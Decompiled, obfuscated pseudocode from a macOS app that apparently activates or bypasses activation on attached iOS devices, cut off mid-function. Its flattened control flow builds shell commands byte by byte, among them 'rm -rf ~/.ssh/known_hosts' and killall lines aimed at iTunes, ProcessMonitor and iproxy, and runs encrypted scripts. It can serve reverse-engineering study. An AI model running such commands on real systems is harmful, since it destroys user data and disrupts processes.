dispatch_block_t block; // [rsp+10h] [rbp-40h]
bool v15; // [rsp+1Dh] [rbp-33h]
char v16; // [rsp+1Eh] [rbp-32h]
char v17; // [rsp+1Fh] [rbp-31h]
int *v18; // [rsp+20h] [rbp-30h]
v12 = dword_10029F56C;
v13 = -1411679222;
v18 = &v13;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v13;
if ( v13 > -191750210 )
break;
if ( v13 > -932607140 )
{
if ( v13 <= -837032239 )
{
switch ( v13 )
{
case -932607139:
*v18 = 846602550;
break;
case -886575414:
*v18 = 1576913333;
break;
case -884815333:
*v18 = -354381210;
break;
}
}
else if ( v13 > -482012421 )
{
if ( v13 == -482012420 )
{
strcpy(asc_100277A00, "rm -rf ~/.ssh/known_hosts");
qmemcpy(asc_1002779C0, "/usr/bin/killall iTu", 20);
v16 = 110;
*v18 = -884815333;
}
else if ( v13 == -354381210 )
{
v3 = 0;
v4 = 1746688892;
v5 = -113822043;
goto LABEL_73;
}
}
else
{
if ( v13 == -837032238 )
{
v6 = 0;
v4 = -1304829793;
v7 = 1467323639;
LABEL_69:
if ( !v6 )
v4 = v7;
goto LABEL_78;
}
if ( v13 == -824573549 )
*v18 = -1371057760;
}
}
else if ( v13 <= -1371057761 )
{
switch ( v13 )
{
case -1833835534:
v8 = 0;
v4 = -482012420;
v9 = 1596449610;
goto LABEL_65;
case -1447952239:
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
v4 = 360544153;
goto LABEL_78;
case -1411679222:
goto LABEL_36;
}
}
else if ( v13 > -1128607866 )
{
if ( v13 == -1128607865 )
{
a5_3[14] = v17;
a5_3[15] = 108;
a5_3[16] = 32;
a5_3[17] = 45;
a5_3[18] = 57;
a5_3[19] = 32;
a5_3[20] = 105;
a5_3[21] = 112;
v3 = 1;
a5_3[22] = 114;
a5_3[23] = 111;
a5_3[24] = 120;
a5_3[25] = 121;
a5_3[26] = 0;
v4 = -932607139;
v5 = -1128607865;
LABEL_73:
if ( !v3 )
v4 = v5;
LABEL_78:
*v18 = v4;
}
else if ( v13 == -987370802 )
{
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*v18 = -1447952239;
}
}
else
{
if ( v13 == -1371057760 )
{
v8 = 1;
v4 = -824573549;
v9 = 632175661;
LABEL_65:
if ( v8 )
v4 = v9;
goto LABEL_78;
}
if ( v13 == -1304829793 )
{
*((_QWORD *)block + 2) = __showOkMessageBasic_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v2 = (id *)block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
objc_release(v2[4]);
objc_release(a1);
*v18 = 1467323639;
}
}
}
if ( v13 <= 846602549 )
break;
if ( v13 <= 1576913332 )
{
switch ( v13 )
{
case 846602550:
dword_10029F56C = 1;
block = &v11 - 6;
objc_retain(a1);
runScript(CFSTR("\x1A\x7FL\xC2\xE2ܲ\x9C\x88k\xF2\x99\x47\x04C\xBC\x18\x02\x8Ae\"6U\x03"));
HikariFunctionWrapper_17343(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
HikariFunctionWrapper_17345(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
runScript(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
*(_QWORD *)block = _NSConcreteStackBlock;
*v18 = 2112184437;
break;
case 1467323639:
*((_QWORD *)block + 2) = __showOkMessageBasic_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v10 = (id *)block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
objc_release(v10[4]);
objc_release(a1);
v8 = 1;
v4 = -1304829793;
v9 = -191750209;
goto LABEL_65;
case 1539957293:
*v18 = 180329537;
break;
}
}
else if ( v13 > 1746688891 )
{
if ( v13 == 1746688892 )
{
asc_1002779C0[20] = v16;
asc_1002779C0[21] = 101;
asc_1002779C0[22] = 115;
asc_1002779C0[23] = 0;
strcpy(asc_100277980, "/usr/bin/killall ProcessMonitor");
qmemcpy(a5_3, "/usr/bin/killa", 14);
*v18 = -113822043;
}
else if ( v13 == 2112184437 )
{
v3 = 0;
v4 = -987370802;
v5 = -1447952239;
goto LABEL_73;
}
}
else
{
if ( v13 == 1576913333 )
{
v8 = 1;
v4 = -824573549;
v9 = -1371057760;
goto LABEL_65;
}
if ( v13 == 1596449610 )
{
strcpy(asc_100277A00, "rm -rf ~/.ssh/known_hosts");
qmemcpy(asc_1002779C0, "/usr/bin/killall iTu", 20);
*v18 = -482012420;
}
}
}
if ( v13 <= 180329536 )
break;
if ( v13 > 528330806 )
{
if ( v13 == 528330807 )
{
a5_3[14] = v17;
a5_3[15] = 108;
a5_3[16] = 32;
a5_3[17] = 45;
a5_3[18] = 57;
a5_3[19] = 32;
a5_3[20] = 105;
a5_3[21] = 112;
a5_3[22] = 114;
a5_3[23] = 111;
a5_3[24] = 120;
a5_3[25] = 121;
a5_3[26] = 0;
*v18 = -1128607865;
}
else if ( v13 == 632175661 )
{
v6 = !v15;
v4 = 846602550;
v7 = -1833835534;
goto LABEL_69;
}
}
else
{
if ( v13 == 180329537 )
{
v8 = 0;
v4 = -1128607865;
v9 = 528330807;
goto LABEL_65;
}
if ( v13 == 360544153 )
*v18 = -837032238;
}
}
if ( v13 <= -67096024 )
break;
if ( v13 == -67096023 )
{
v15 = v12 == 0;
v8 = 1;
v4 = -67096023;
v9 = -886575414;
goto LABEL_65;
}
if ( v13 == 39770034 )
LABEL_36:
*v18 = -67096023;
}
if ( v13 != -113822043 )
break;
asc_1002779C0[20] = v16;
asc_1002779C0[21] = 101;
asc_1002779C0[22] = 115;
asc_1002779C0[23] = 0;
strcpy(asc_100277980, "/usr/bin/killall ProcessMonitor");
qmemcpy(a5_3, "/usr/bin/killa", 14);
v17 = 108;
*v18 = 1539957293;
}
}
while ( v13 != -191750209 );
return result;
}
// 10027DB50: using guessed type __CFString stru_10027DB50;
// 10027DB90: using guessed type __CFString cfstr_5_3_1;
// 10027DBD0: using guessed type __CFString stru_10027DBD0;
// 10027DC10: using guessed type __CFString stru_10027DC10;
// 10029F56C: using guessed type int dword_10029F56C;
//----- (0000000100106398) ----------------------------------------------------
void __cdecl -[AppDelegate activate_device:](AppDelegate *self, SEL a2, id a3)
{
bool v3; // cf
int v4; // eax
int v5; // ecx
dispatch_queue_global_t v6; // rax
dispatch_queue_s *v7; // r14
char v8; // cf
int v9; // ecx
id v10; // rax
id v11; // r14
unsigned __int8 v12; // r12
__CFString *v13; // rdx
dispatch_queue_global_t global_queue; // rax
dispatch_queue_s *v15; // r14
id v16; // rax
id v17; // r14
unsigned __int8 v18; // r12
__CFString *v19; // rdx
dispatch_queue_global_t v20; // rax
_QWORD v21[3]; // [rsp+0h] [rbp-80h] BYREF
id v22; // [rsp+18h] [rbp-68h]
unsigned int v23; // [rsp+24h] [rbp-5Ch]
int v24; // [rsp+28h] [rbp-58h]
int v25; // [rsp+2Ch] [rbp-54h] BYREF
id v26; // [rsp+30h] [rbp-50h]
dispatch_block_t v27; // [rsp+38h] [rbp-48h]
dispatch_block_t block; // [rsp+40h] [rbp-40h]
bool v29; // [rsp+4Eh] [rbp-32h]
char v30; // [rsp+4Fh] [rbp-31h]
int *v31; // [rsp+50h] [rbp-30h]
v23 = 0;
v25 = -528808781;
v31 = &v25;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25 <= -43833912 )
{
if ( v25 > -1372518239 )
{
if ( v25 > -673493652 )
{
if ( v25 > -528808782 )
{
if ( v25 == -528808781 )
{
v3 = v23 < 0x67771B9C;
v4 = 948875487;
v5 = 1985615633;
LABEL_81:
if ( v3 )
v4 = v5;
goto LABEL_93;
}
if ( v25 == -457309559 )
{
strcpy(aD_10, "Activating...");
goto LABEL_58;
}
}
else if ( v25 == -673493651 )
{
*v31 = -1476022378;
}
else if ( v25 == -648510370 )
{
v3 = 0;
v4 = -1372518238;
v5 = -2071825307;
goto LABEL_81;
}
}
else if ( v25 > -1239391041 )
{
if ( v25 == -1239391040 )
{
dword_10029F570 = 1;
v27 = &v21[-6];
block = &v21[-6];
v21[-6] = _NSConcreteStackBlock;
v21[-5] = 3254779904LL;
v21[-4] = __31__AppDelegate_activate_device___block_invoke;
v21[-3] = &__block_descriptor_40_e8_32s_e5_v8__0l;
v21[1] = &v21[-2];
v21[-2] = self;
HikariFunctionWrapper_17347(&_dispatch_main_q, &v21[-6]);
v22 = &OBJC_CLASS___iOSDevice;
*v31 = -1926282552;
}
else if ( v25 == -1138204083 )
{
*v31 = 270942650;
}
}
else
{
if ( v25 == -1372518238 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __31__AppDelegate_activate_device___block_invoke_3;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)block + 4) = self;
dispatch_async((dispatch_queue_t)v26, block);
objc_release(v26);
global_queue = dispatch_get_global_queue(25, 0);
v15 = objc_retainAutoreleasedReturnValue(global_queue);
HikariFunctionWrapper_17351(v15, &__block_literal_global);
objc_release(v15);
v8 = 1;
v4 = -43833911;
v9 = -2071825307;
goto LABEL_87;
}
if ( v25 == -1270195560 )
{
v8 = 1;
v4 = -1856260713;
goto LABEL_79;
}
}
}
else if ( v25 > -1987805647 )
{
if ( v25 > -1856260714 )
{
if ( v25 == -1856260713 )
{
asc_10027DC50[13] = 116;
asc_10027DC50[14] = 115;
asc_10027DC50[15] = 46;
asc_10027DC50[16] = 46;
asc_10027DC50[17] = 46;
asc_10027DC50[18] = 0;
aG_16[0] = 78;
aG_16[1] = 111;
v8 = 1;
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
aG_16[6] = 0;
v4 = 1993370382;
LABEL_79:
v9 = -2110508456;
LABEL_87:
if ( !v8 )
v4 = v9;
goto LABEL_93;
}
if ( v25 == -1476022378 )
{
v29 = v24 == 0;
v8 = 0;
v4 = -1476022378;
v9 = 641022415;
goto LABEL_87;
}
}
else if ( v25 == -1987805646 )
{
dword_10029F570 = 1;
v21[-6] = _NSConcreteStackBlock;
v21[-5] = 3254779904LL;
v21[-4] = __31__AppDelegate_activate_device___block_invoke;
v21[-3] = &__block_descriptor_40_e8_32s_e5_v8__0l;
v21[-2] = self;
dispatch_async(&_dispatch_main_q, &v21[-6]);
*v31 = -1239391040;
}
else if ( v25 == -1926282552 )
{
*v31 = -2028945120;
}
}
else if ( v25 > -2028945121 )
{
if ( v25 == -2028945120 )
{
v3 = 1;
v4 = 2072319513;
v5 = 2045168207;
goto LABEL_81;
}
if ( v25 == -2026407540 )
{
v3 = 0;
v4 = 1437389364;
v5 = 864702470;
goto LABEL_81;
}
}
else if ( v25 == -2110508456 )
{
asc_10027DC50[13] = 116;
asc_10027DC50[14] = 115;
asc_10027DC50[15] = 46;
asc_10027DC50[16] = 46;
asc_10027DC50[17] = 46;
asc_10027DC50[18] = 0;
aG_16[0] = 78;
aG_16[1] = 111;
aG_16[2] = 114;
aG_16[3] = 109;
aG_16[4] = 97;
aG_16[5] = 108;
aG_16[6] = 0;
*v31 = -1856260713;
}
else if ( v25 == -2071825307 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __31__AppDelegate_activate_device___block_invoke_3;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)block + 4) = self;
HikariFunctionWrapper_17357((dispatch_queue_s *)v26, block);
objc_release(v26);
v6 = HikariFunctionWrapper_17359(25, 0);
v7 = objc_retainAutoreleasedReturnValue(v6);
dispatch_async(v7, &__block_literal_global);
objc_release(v7);
*v31 = -1372518238;
}
}
if ( v25 <= 1437389363 )
break;
if ( v25 > 1993370381 )
{
if ( v25 > 2045168206 )
{
if ( v25 == 2045168207 )
{
v16 = objc_msgSend(v22, "ActStatus");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = (unsigned __int8)objc_msgSend(v17, "isEqualToString:", CFSTR("\n畓I\x1CY&\\"));
objc_release(v17);
v19 = CFSTR("%\x01<\x94\xB0\x80\x19\xEC\x3D\x77\xE8\x3B\x84\xB0\xC8\x4C\x92\xA5\xA0");
if ( !v18 )
v19 = CFSTR(" \x7Fd\x93\xC6\x4D\xC9\xED\xE2\xCF\x27j\x9D");
objc_msgSend(
AldazDevClass,
"NSControlUpdateProgress:withStatus:",
v19,
CFSTR("g\x17\xCF\x7F\xB6\x1F\x94"));
*(_QWORD *)v27 = _NSConcreteStackBlock;
*((_DWORD *)v27 + 2) = -1040187392;
*((_DWORD *)v27 + 3) = 0;
*((_QWORD *)v27 + 2) = __31__AppDelegate_activate_device___block_invoke_2;
*((_QWORD *)v27 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v21[2] = (char *)v27 + 32;
*((_QWORD *)v27 + 4) = self;
dispatch_async(&_dispatch_main_q, v27);
objc_release(&_dispatch_main_q);
HikariFunctionWrapper_17349(&OBJC_CLASS___iOSDevice, "setBreakLoop:");
v20 = dispatch_get_global_queue(0, 0);
v26 = objc_retainAutoreleasedReturnValue(v20);
v4 = -6076619;
LABEL_93:
*v31 = v4;
}
else if ( v25 == 2072319513 )
{
v10 = objc_msgSend(v22, "ActStatus");
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = (unsigned __int8)objc_msgSend(v11, "isEqualToString:", CFSTR("\n畓I\x1CY&\\"));
objc_release(v11);
v13 = CFSTR("%\x01<\x94\xB0\x80\x19\xEC\x3D\x77\xE8\x3B\x84\xB0\xC8\x4C\x92\xA5\xA0");
if ( !v12 )
v13 = CFSTR(" \x7Fd\x93\xC6\x4D\xC9\xED\xE2\xCF\x27j\x9D");
objc_msgSend(
AldazDevClass,
"NSControlUpdateProgress:withStatus:",
v13,
CFSTR("g\x17\xCF\x7F\xB6\x1F\x94"));
*(_QWORD *)v27 = _NSConcreteStackBlock;
*((_DWORD *)v27 + 2) = -1040187392;
*((_DWORD *)v27 + 3) = 0;
*((_QWORD *)v27 + 2) = __31__AppDelegate_activate_device___block_invoke_2;
*((_QWORD *)v27 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)v27 + 4) = self;
HikariFunctionWrapper_17353(&_dispatch_main_q, v27);
objc_release(&_dispatch_main_q);
HikariFunctionWrapper_17355(&OBJC_CLASS___iOSDevice, "setBreakLoop:");
*v31 = 2045168207;
}
}
else if ( v25 == 1993370382 )
{
*v31 = 1826799433;
}
else if ( v25 == 2042918044 )
{
aIY[0] = v30;
aIY[1] = 99;
aIY[2] = 116;
aIY[3] = 105;
aIY[4] = 118;
aIY[5] = 97;
aIY[6] = 116;
aIY[7] = 101;
aIY[8] = 100;
aIY[9] = 0;
qmemcpy(asc_10027DC50, "Blocking Upda", 13);
*v31 = -1270195560;
}
}
else if ( v25 > 1826799432 )
{
if ( v25 == 1826799433 )
{
v8 = 0;
v4 = -1987805646;
v9 = -1239391040;
goto LABEL_87;
}
if ( v25 == 1985615633 )
{
v8 = 1;
v24 = dword_10029F570;
v4 = -1138204083;
v9 = 948875487;
goto LABEL_87;
}
}
else
{
if ( v25 == 1437389364 )
{
v4 = 661535992;
goto LABEL_93;
}
if ( v25 == 1576129722 )
{
strcpy(aD_10, "Activating...");
v30 = 65;
*v31 = 1428039040;
}
}
}
if ( v25 <= 864702469 )
break;
if ( v25 > 948875486 )
{
if ( v25 == 948875487 )
{
*v31 = 1985615633;
}
else if ( v25 == 1428039040 )
{
*v31 = 2042918044;
}
}
else if ( v25 == 864702470 )
{
*v31 = 1437389364;
}
else if ( v25 == 924905672 )
{
LABEL_58:
*v31 = 1576129722;
}
}
if ( v25 <= 641022414 )
break;
if ( v25 == 641022415 )
{
*v31 = -2026407540;
}
else if ( v25 == 661535992 )
{
v4 = 1826799433;
if ( v29 )
v4 = 924905672;
goto LABEL_93;
}
}
if ( v25 != -6076619 )
break;
*v31 = -648510370;
}
if ( v25 == 270942650 )
{
v3 = 0;
v4 = -1476022378;
v5 = -673493651;
goto LABEL_81;
}
}
while ( v25 != -43833911 );
}
// 10025B560: using guessed type Block_layout __block_literal_global;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027DCA0: using guessed type __CFString cfstr_G_16_0;
// 10027DCE0: using guessed type __CFString stru_10027DCE0;
// 10027DD20: using guessed type __CFString cfstr_D_10;
// 10027DD60: using guessed type __CFString cfstr_IY_0;
// 10029F570: using guessed type int dword_10029F570;
//----- (0000000100107416) ----------------------------------------------------
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke(__int64 a1)
{
id WeakRetained; // rbx
id v2; // rbx
__int64 result; // rax
char v4; // cf
int v5; // eax
int v6; // ecx
id v7; // rax
id v8; // rbx
id v9; // rbx
id v10; // rbx
void *v11; // rdi
__int64 v12; // [rsp+8h] [rbp-58h]
void **v13; // [rsp+10h] [rbp-50h]
int v14; // [rsp+1Ch] [rbp-44h] BYREF
SEL v15; // [rsp+20h] [rbp-40h]
int *v16; // [rsp+28h] [rbp-38h]
_QWORD *v17; // [rsp+30h] [rbp-30h]
v17 = (_QWORD *)(a1 + 32);
WeakRetained = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(WeakRetained, "setDoubleValue:", 0.0);
objc_release(WeakRetained);
v2 = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 128LL));
objc_msgSend(v2, "setHidden:", 0);
objc_release(v2);
v12 = *(_QWORD *)(a1 + 32);
v14 = -937253037;
v16 = &v14;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v14;
if ( v14 > -393052481 )
break;
if ( v14 > -937253038 )
{
if ( v14 == -937253037 )
{
LABEL_17:
*v16 = -661515337;
}
else if ( v14 == -661515337 )
{
v9 = objc_loadWeakRetained((id *)(v12 + 128));
objc_msgSend(v9, "setIndeterminate:", 1);
objc_release(v9);
v10 = objc_loadWeakRetained((id *)(*v17 + 128LL));
objc_msgSend(v10, "startAnimation:", *v17);
objc_release(v10);
v11 = *(void **)(*v17 + 88LL);
v15 = "setEnabled:";
objc_msgSend(v11, "setEnabled:", 0);
v4 = 1;
v13 = (void **)(*v17 + 96LL);
v5 = -393052480;
v6 = -661515337;
LABEL_14:
if ( !v4 )
v5 = v6;
LABEL_22:
*v16 = v5;
}
}
else
{
if ( v14 == -1911035062 )
{
HikariFunctionWrapper_17361(*v13, v15);
objc_msgSend(*(id *)(*v17 + 104LL), v15, 0);
objc_msgSend(AldazDevClass, "StartProgressBar");
v5 = -135104363;
goto LABEL_22;
}
if ( v14 == -1257093599 )
{
v4 = 0;
v5 = 432671971;
v6 = -1911035062;
goto LABEL_14;
}
}
}
if ( v14 <= 432671970 )
break;
if ( v14 == 432671971 )
{
HikariFunctionWrapper_17367(*v13, v15);
objc_msgSend(*(id *)(*v17 + 104LL), v15, 0);
objc_msgSend(AldazDevClass, "StartProgressBar");
*v16 = -1911035062;
}
else if ( v14 == 1958514121 )
{
v7 = objc_loadWeakRetained((id *)(v12 + 128));
HikariFunctionWrapper_17363(v7, "setIndeterminate:");
objc_release(v7);
v8 = objc_loadWeakRetained((id *)(*v17 + 128LL));
HikariFunctionWrapper_17365(v8, "startAnimation:");
objc_release(v8);
objc_msgSend(*(id *)(*v17 + 88LL), "setEnabled:", 0);
goto LABEL_17;
}
}
if ( v14 != -393052480 )
break;
*v16 = -1257093599;
}
}
while ( v14 != -135104363 );
return result;
}
// 1001076BF: variable 'v13' is possibly undefined
//----- (0000000100107794) ----------------------------------------------------
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_2(__int64 a1)
{
__int64 result; // rax
id v2; // rax
id v3; // r14
int v4; // ecx
int v5; // eax
id v6; // rax
id v7; // r14
int v8; // ecx
id *v9; // [rsp+0h] [rbp-50h]
const char *v10; // [rsp+8h] [rbp-48h]
id v11; // [rsp+10h] [rbp-40h]
int v12; // [rsp+1Ch] [rbp-34h] BYREF
int *v13; // [rsp+20h] [rbp-30h]
v12 = -1624955759;
v13 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 > -489357796 )
break;
if ( v12 > -1270284546 )
{
switch ( v12 )
{
case -1270284545:
*v13 = 1903791400;
break;
case -903646798:
*v13 = -828713987;
break;
case -828713987:
v5 = 1903791400;
goto LABEL_28;
}
}
else
{
switch ( v12 )
{
case -1695984636:
objc_msgSend(v11, v10, 0);
v8 = 1554965516;
LABEL_27:
v5 = v8;
LABEL_28:
*v13 = v5;
break;
case -1624955759:
v8 = 414797635;
goto LABEL_27;
case -1518531357:
*v13 = 1573227023;
break;
}
}
}
if ( v12 > 1554965515 )
break;
switch ( v12 )
{
case -489357795:
v6 = objc_msgSend(*(id *)(a1 + 32), "activateButton");
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_msgSend(v7, "setEnabled:", 0);
objc_release(v7);
*v13 = 414797635;
break;
case 71154532:
objc_msgSend(v11, v10, 0);
*v13 = -1695984636;
break;
case 414797635:
v2 = HikariFunctionWrapper_17369(*(void **)(a1 + 32), "activateButton");
v3 = objc_retainAutoreleasedReturnValue(v2);
v10 = "setEnabled:";
objc_msgSend(v3, "setEnabled:", 0);
objc_release(v3);
v9 = (id *)(*(_QWORD *)(a1 + 32) + 96LL);
v4 = -903646798;
LABEL_24:
v5 = v4;
goto LABEL_28;
}
}
if ( v12 == 1573227023 )
{
v4 = -1695984636;
goto LABEL_24;
}
if ( v12 == 1903791400 )
{
v11 = *v9;
v4 = -1518531357;
goto LABEL_24;
}
}
while ( v12 != 1554965516 );
return result;
}
// 1001079AA: variable 'v9' is possibly undefined
// 100107A36: variable 'v11' is possibly undefined
// 100107A36: variable 'v10' is possibly undefined
//----- (0000000100107B07) ----------------------------------------------------
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_3(__int64 a1)
{
int v1; // eax
int v2; // ecx
bool v3; // zf
int v4; // ecx
__int64 result; // rax
void **v6; // [rsp+8h] [rbp-98h] BYREF
int v7; // [rsp+10h] [rbp-90h]
char v8; // [rsp+14h] [rbp-8Ch] BYREF
__int64 (__fastcall *v9)(__int64); // [rsp+18h] [rbp-88h]
void *v10; // [rsp+20h] [rbp-80h]
char v11; // [rsp+28h] [rbp-78h] BYREF
SEL v12; // [rsp+30h] [rbp-70h]
char *v13; // [rsp+38h] [rbp-68h]
char *v14; // [rsp+40h] [rbp-60h]
__int64 v15; // [rsp+48h] [rbp-58h]
id v16; // [rsp+50h] [rbp-50h]
int v17; // [rsp+5Ch] [rbp-44h] BYREF
SEL v18; // [rsp+60h] [rbp-40h]
bool v19; // [rsp+6Eh] [rbp-32h]
bool v20; // [rsp+6Fh] [rbp-31h]
int *v21; // [rsp+70h] [rbp-30h]
v15 = a1;
v18 = "breakLoop";
v17 = -828481199;
v21 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 > 17452641 )
{
if ( v17 > 1063914707 )
{
if ( v17 <= 1419780563 )
{
switch ( v17 )
{
case 1063914708:
v6 = _NSConcreteStackBlock;
v7 = -1040187392;
*v21 = -703386412;
break;
case 1168336668:
v2 = -114790310;
goto LABEL_65;
case 1372813351:
*v21 = -26073457;
break;
}
}
else if ( v17 > 1822086268 )
{
if ( v17 == 1822086269 )
{
*(_DWORD *)v13 = 0;
v9 = __31__AppDelegate_activate_device___block_invoke_4;
v10 = &__block_descriptor_40_e8_32s_e5_v8__0l;
v14 = &v11;
*v21 = -230768459;
}
else if ( v17 == 1970281777 )
{
*v21 = 1372813351;
}
}
else
{
if ( v17 == 1419780564 )
{
v3 = !v19;
v1 = -1638690815;
v4 = -1905298818;
goto LABEL_67;
}
if ( v17 == 1789687698 )
{
v20 = (unsigned __int8)objc_msgSend(v16, v18) == 0;
v2 = -343682902;
LABEL_65:
v1 = v2;
goto LABEL_69;
}
}
}
else if ( v17 <= 408730594 )
{
switch ( v17 )
{
case 17452642:
v2 = 1061648863;
goto LABEL_65;
case 52154962:
*v21 = -114790310;
break;
case 265101817:
objc_msgSend(&OBJC_CLASS___iOSDevice, v18);
*v21 = -396612081;
break;
}
}
else if ( v17 > 1053854089 )
{
if ( v17 == 1053854090 )
{
*v21 = 17452642;
}
else if ( v17 == 1061648863 )
{
v2 = 1419780564;
goto LABEL_65;
}
}
else if ( v17 == 408730595 )
{
*v21 = 568559227;
}
else if ( v17 == 568559227 )
{
v1 = 1789687698;
goto LABEL_69;
}
}
if ( v17 > -563865799 )
break;
if ( v17 <= -1222742135 )
{
switch ( v17 )
{
case -1905298818:
v3 = 0;
v1 = -392598890;
v4 = -1527664068;
LABEL_67:
if ( !v3 )
v1 = v4;
LABEL_69:
*v21 = v1;
break;
case -1638690815:
v2 = -703386412;
goto LABEL_65;
case -1527664068:
v3 = 0;
v12 = "sleepForTimeInterval:";
v1 = -392598890;
v4 = 1970281777;
goto LABEL_67;
}
}
else if ( v17 > -828481200 )
{
if ( v17 == -828481199 )
{
v3 = 0;
v1 = 265101817;
v4 = -396612081;
goto LABEL_67;
}
if ( v17 == -703386412 )
{
v3 = 0;
v6 = _NSConcreteStackBlock;
v7 = -1040187392;
v13 = &v8;
v1 = -703386412;
v4 = -563865798;
goto LABEL_67;
}
}
else if ( v17 == -1222742134 )
{
objc_msgSend(v16, v18);
*v21 = 1789687698;
}
else if ( v17 == -1076490664 )
{
*v21 = 1061648863;
}
}
if ( v17 > -343682903 )
break;
switch ( v17 )
{
case -563865798:
*v21 = 1822086269;
break;
case -396612081:
v19 = (unsigned __int8)objc_msgSend(&OBJC_CLASS___iOSDevice, v18) == 0;
v1 = 1053854090;
goto LABEL_69;
case -392598890:
*v21 = -1527664068;
break;
}
}
if ( v17 <= -114790311 )
break;
if ( v17 == -114790310 )
{
v16 = &OBJC_CLASS___iOSDevice;
v2 = 408730595;
goto LABEL_65;
}
if ( v17 == -26073457 )
{
objc_msgSend(&OBJC_CLASS___NSThread, v12, 0.2);
*v21 = 1168336668;
}
}
if ( v17 == -343682902 )
{
v3 = !v20;
v1 = -1638690815;
v4 = -26073457;
goto LABEL_67;
}
}
while ( v17 != -230768459 );
result = *(_QWORD *)(v15 + 32);
*(_QWORD *)v14 = result;
HikariFunctionWrapper_17371(&_dispatch_main_q, &v6);
return result;
}
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
//----- (00000001001081D5) ----------------------------------------------------
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_4(__int64 a1)
{
__int64 v1; // rdx
__int64 result; // rax
id v3; // rax
id v4; // rax
char v5; // cf
int v6; // eax
int v7; // ecx
id v8; // rax
id v9; // r14
id v10; // r14
id WeakRetained; // r14
id v12; // r14
id v13; // r14
id v14; // rax
int v15; // [rsp+14h] [rbp-4Ch] BYREF
id v16; // [rsp+18h] [rbp-48h]
SEL v17; // [rsp+20h] [rbp-40h]
int *v18; // [rsp+28h] [rbp-38h]
_QWORD *v19; // [rsp+30h] [rbp-30h]
v1 = 414442628;
v15 = 1590056642;
v18 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v15;
if ( v15 <= 1503944413 )
break;
if ( v15 > 1590056641 )
{
if ( v15 == 1754884538 )
{
v14 = objc_msgSend(*(id *)(a1 + 32), "activateButton", v1);
objc_retainAutoreleasedReturnValue(v14);
*v18 = 1586050241;
}
else if ( v15 == 1590056642 )
{
v6 = 1586050241;
goto LABEL_20;
}
}
else if ( v15 == 1503944414 )
{
HikariFunctionWrapper_17375(v16, v17);
objc_release(v16);
WeakRetained = objc_loadWeakRetained((id *)(*v19 + 128LL));
objc_msgSend(WeakRetained, "setIndeterminate:", 0);
objc_release(WeakRetained);
v12 = objc_loadWeakRetained((id *)(*v19 + 128LL));
HikariFunctionWrapper_17377(v12, "stopAnimation:");
objc_release(v12);
v13 = objc_loadWeakRetained((id *)(*v19 + 128LL));
HikariFunctionWrapper_17379(v13, "setHidden:");
objc_release(v13);
HikariFunctionWrapper_17381(*(void **)(*v19 + 96LL), v17);
objc_msgSend(*(id *)(*v19 + 104LL), v17, 1);
HikariFunctionWrapper_17383(AldazDevClass, "FinishProgressBar");
*v18 = -38326524;
}
else if ( v15 == 1586050241 )
{
v19 = (_QWORD *)(a1 + 32);
v3 = HikariFunctionWrapper_17373(*(void **)(a1 + 32), "activateButton");
v4 = objc_retainAutoreleasedReturnValue(v3);
v5 = 0;
v16 = v4;
v6 = 1586050241;
v7 = 157876263;
goto LABEL_18;
}
}
if ( v15 > -450469208 )
break;
if ( v15 == -1954302810 )
{
v1 = 2452016069LL;
v5 = 1;
v6 = 1503944414;
v7 = -541644666;
LABEL_18:
if ( !v5 )
v6 = v7;
LABEL_20:
*v18 = v6;
}
else if ( v15 == -541644666 )
{
objc_msgSend(v16, v17, 1);
objc_release(v16);
v8 = objc_loadWeakRetained((id *)(*v19 + 128LL));
HikariFunctionWrapper_17385(v8, "setIndeterminate:");
